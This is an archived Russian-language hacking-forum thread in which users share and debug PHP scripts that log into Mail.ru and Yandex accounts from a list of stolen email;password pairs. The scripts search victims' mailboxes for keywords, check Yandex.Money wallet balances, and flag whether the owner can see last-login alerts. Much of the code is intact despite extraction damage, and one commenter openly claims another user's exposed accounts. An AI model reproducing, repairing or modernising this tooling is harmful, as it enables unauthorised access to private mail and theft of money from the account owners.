PDA

Просмотр полной версии : Mail.ru letters finder[PHP]


Unknown
28.09.2010, 03:25
Mail.ru/Yandex.ru letters finder

[PHP]
PHP:


Вот написал тут.

Суть такова(с):

Вы отдаете ей на съеденье список mail;pass и задаете с исок слов, которые надо и скать в письмах.

Ну и на выходе список сов падений.

По запросу{$ssearch}найдено{$lett ers}письмо(а/ем)

";

$pattern='|(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i';

preg_match_all($pattern,$line,$matches);;

echo"";

for($i=0;$i";

echostrip_tags($matches[1][$i]);

echo"".strip_tags($matches[2][$i]);

echo"

";

}

echo"";

}

} else {

echo"По запросу{$ssearch}писем не н айдено";

}

fclose($sock);

}

set_time_limit(0);

$filep=fopen("users.txt","r");//";

while (!feof($filep)) {

$acc=fgets($filep);

$acc=str_replace("\r\n","",$acc);

$pair=explode(";",$acc);

echo"";

if(count($pair) >2) {

echo"Password contains ;
";

continue;

}

$acc=explode("@",$pair[0]);

$login=$acc[0];

$domain=$acc[1];

$password=$pair[1];

if($password!=="")

mailru_searcher($login,$domain,$password);

echo"";

}

fclose($filep);

echo"";

functionmailru_searcher($login,$domain,$password){

echo"$login@$domain;$password
";

$search_array= Array("и раз","и двас","и трис","и n-c");//";

foreach($search_arrayas$search_query){

mail_search($search_query,$matches[1]);

}

echo"";

}

?>

Особо не тестил , но вроде пашет. Скорочть не ахти, но всяко лучше чем руками. Буду рад принять советы по оптимизации.

ЗЫ

Надо дописать еще штуку, которая будет палить если у юзверя включено отображение последнего входа

ЗЫЫ

Извиняюсь, если где нибудь подобное уже выкладывалось. Не нашел.[/B]

HIMIKAT
28.09.2010, 05:02
Планируешь улучшать только в виде php, вариант с приложением рассматривается? Хотя такое приложение я уже где-то видел.

Unknown
28.09.2010, 13:50
Хотелось бы на Спп. Но никакого опыть работы с сокетами, да и вообще с GUI нет( Если бы кто-нибудь подробно объяснил, что делать надо, то с удовольствием бы написал.

Вот прилепил еще чтоб, палил если у пользователя включено отображение последнего входа.


PHP:
По запросу{$ssearch}найдено{$lett ers}письмо(а/ем)

";

$pattern='|(.+)\n.+\n.+\n.+\n.+\n.+\n(.+)|i';

preg_match_all($pattern,$line,$matches);;

echo"";

for($i=0;$i";

echostrip_tags($matches[1][$i]);

echo"".strip_tags($matches[2][$i]);

echo"

";

}

echo"";

}

} else {

echo"По запросу{$ssearch}писем не н айдено";

}

fclose($sock);

}

set_time_limit(0);

$filep=fopen("users.txt","r");

if(!$filep)

die("File opennig error!
");

echo"";

while (!feof($filep)) {

$acc=fgets($filep);

$acc=str_replace("\r\n","",$acc);

$pair=explode(";",$acc);

echo"";

if(count($pair) >2) {

echo"Password contains ;
";

continue;

}

$acc=explode("@",$pair[0]);

$login=$acc[0];

$domain=$acc[1];

$password=$pair[1];

if($password!=="")

mailru_searcher($login,$domain,$password);

echo"";

}

fclose($filep);

echo"";

functionmailru_searcher($login,$domain,$password){

echo"$login@$domain;$password
";

$SEC_DETECT=true;// Ваш адрес сейчас:ПАЛЕВО АЦАНЫ!!!!111
";

}

echo"";

foreach($search_arrayas$search_query){

mail_search($search_query,$matches[1]);

}

echo"";

}

?>

dpe_x
01.10.2010, 16:41
Code:
Warning: fsockopen(): unable to connect to win.mail.ru:80 in /home/d/dpe2.h1.ru/WWW/Lettersfinder.php on line 77 Couldn't open socket!

Ошибка.

В чем проблема ?

Unknown
01.10.2010, 17:30
Скорее всего что то с сервером, на котором запускается. Попробуй на своем. У меня брут тоже запахал только на своем сервере

waik
01.10.2010, 17:48
dpe_x там веть по русски написано что не может открыть сокет.

У тебя их на таком домене нету.

Ищи другой домен или запускай со своего ПК.

А раз ты свои акки выложил на всеобщее обозрение то я их пожалуй возьму.Вот тут акки:


http://dpe2.h1.ru/Lettersfinder.php

dpe_x
01.10.2010, 18:42
бери это подарок.

Unknown
03.10.2010, 18:17
Написал нечто подобное для Yandex + чекер бабоса:

http_chunked_decode.php


PHP:




ClassYandexFinder.php


PHP:
user_cookie=false;

$sock=fsockopen("passport.yandex.ru",80,$errno,$errstr);

if(!$sock) {

echo"Couldn't open socket!";

returnfalse;

}

echo"{$user};{$pass}
";

$query="login={$user}&passwd={$pass}";

$headers="POST /passport?mode=auth HTTP/1.1\r\n";

$headers.="User-Agent: Opera\r\n";

$headers.="Content-type: application/x-www-form-urlencoded\r\n";

$headers.="Host: passport.yandex.ru\r\n";

$headers.="Connection: Close\r\n";

$headers.="Content-Length: ".strlen($query)."\r\n\r\n";

fwrite($sock,$headers.$query);

$line="";

for($i=0;$iBad server response!
";

returnfalse;

}

if ($matches[1] !=302) {

echo"Incorrect user/password!
";

returnfalse;

}

$pattern="|Set-Cookie: (Session_id=[^;]+)|";

if(!preg_match($pattern,$line,$matches )) {

echo"Incorrect cookie!
";

returnfalse;

}

$this->user_cookie=$matches[1];

echo"Success!
";

returntrue;

fclose($sock);

}

public functionSearchLetters($ssearch){

if(!$this->user_cookie){

echo"Please login
";

returnfalse;

}

$sock=fsockopen("mail.yandex.ru",80,$errno,$errstr);

if(!$sock) {

echo"Couldn't open socket!";

returnfalse;

}

$search=urlencode($ssearch);

$headers="GET /neo/search?addr=from&request={$search}HTTP/1.1\r\n";

$headers.="User-Agent: Opera\r\n";

$headers.="Cookie:{$this->user_cookie}\r\n";

$headers.="Connection: Close\r\n";

$headers.="Host: mail.yandex.ru\r\n\r\n";

fwrite($sock,$headers);

$line="";

while(!feof($sock)){

$line.=fgets($sock,1024);

}

$line=substr($line,strpos($line,"\r\n\r\n") +4);

$line=http_chunked_decode($line);

$line=iconv("utf-8","windows-1251//IGNORE",$line);

$patternNF="|Нет писем, соответствующи х запросу|";

$patternF="|Вы также можете воспольз ваться|";

if (preg_match($patternNF,$line)){

echo"По запросу \"{$ssearch}\" писем не найдено
";

}

else if (preg_match($patternF,$line) ) {

echo"По запросу \"{$ssearch}\" чет нашлось:
";

$pattern='#]+>([^.+?b-grid__quote" title=[\'"](.+?)[\'"]>.+?b-grid__date" title=[\'"](.+?)[\'"]>#';

preg_match_all($pattern,$line,$matches);

echo"\n";

for($i=0;$i\n";

echo"{$matches[1][$i]} ";

echo"{$matches[2][$i]} ";

echo"{$matches[3][$i]} ";

echo"{$matches[4][$i]} ";

echo"\n";

}

echo"\n";

} else {

echo"Неведомая хуита
";

}

fclose($sock);

}

public functionCheckMoney(){

if(!$this->user_cookie){

echo"Please login
";

returnfalse;

}

$sock=fsockopen("money.yandex.ru",80,$errno,$errstr);

if(!$sock) {

echo"Couldn't open socket!";

returnfalse;

}

$headers="GET / HTTP/1.1\r\n";

$headers.="User-Agent: Opera\r\n";

$headers.="Host: money.yandex.ru\r\n";

$headers.="Connection: Close\r\n";

$headers.="Accept:text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";

$headers.="Cookie:{$this->user_cookie}\r\n\r\n";

fwrite($sock,$headers);

$line="";

while(!feof($sock)){

$line.=fgets($sock,1024);

}

$patternNYD="|удобный и безопасный спо об платить за телефон|";

$patternNM='||';

$patternM='|icons-sprite spr-wallet.+\n.+?([^Нет кошеля
";

}

else if (preg_match($patternNM,$line )){

echo"Кошель есть, но девственн к
";

}

else if (preg_match($patternM,$line, $matches)){

echo"Есть бабло:$matches[1]
";

}

else {

echo"Неведомая хуита
";

}

}

}

?>



YandexFinder.php


PHP:
";

$filep=fopen($filename,"r");

if(!$filep)

die("File opennig error!
");

while (!feof($filep)) {

$acc=trim(fgets($filep));

$acc=str_replace("\r\n","",$acc);

$pair=explode(";",$acc);

if(count($pair) >2) {

echo"Password contains ;
";

continue;

}

if(strlen($acc) >5){

$yandexer->login($pair[0],$pair[1]);

foreach ($searchas$find)// комментим эти две строки ,

$yandexer->SearchLetters($find);// если хотим только ЯД чек ать

$yandexer->CheckMoney();//смотрим баланс

echo"";

}

}

echo"";

?>



Правда не работает пока, если у юзера такая штука:

http://img841.imageshack.us/img841/7342/bugfa.th.jpg (http://img841.imageshack.us/img841/7342/bugfa.jpg)

Fooog
28.10.2013, 04:00
нашел я что.. но вот незадача. 2013 на дворе. Кто пхп знать, мог бы под наше время код оптимизировать? сразу +10 в карму оптимизатору)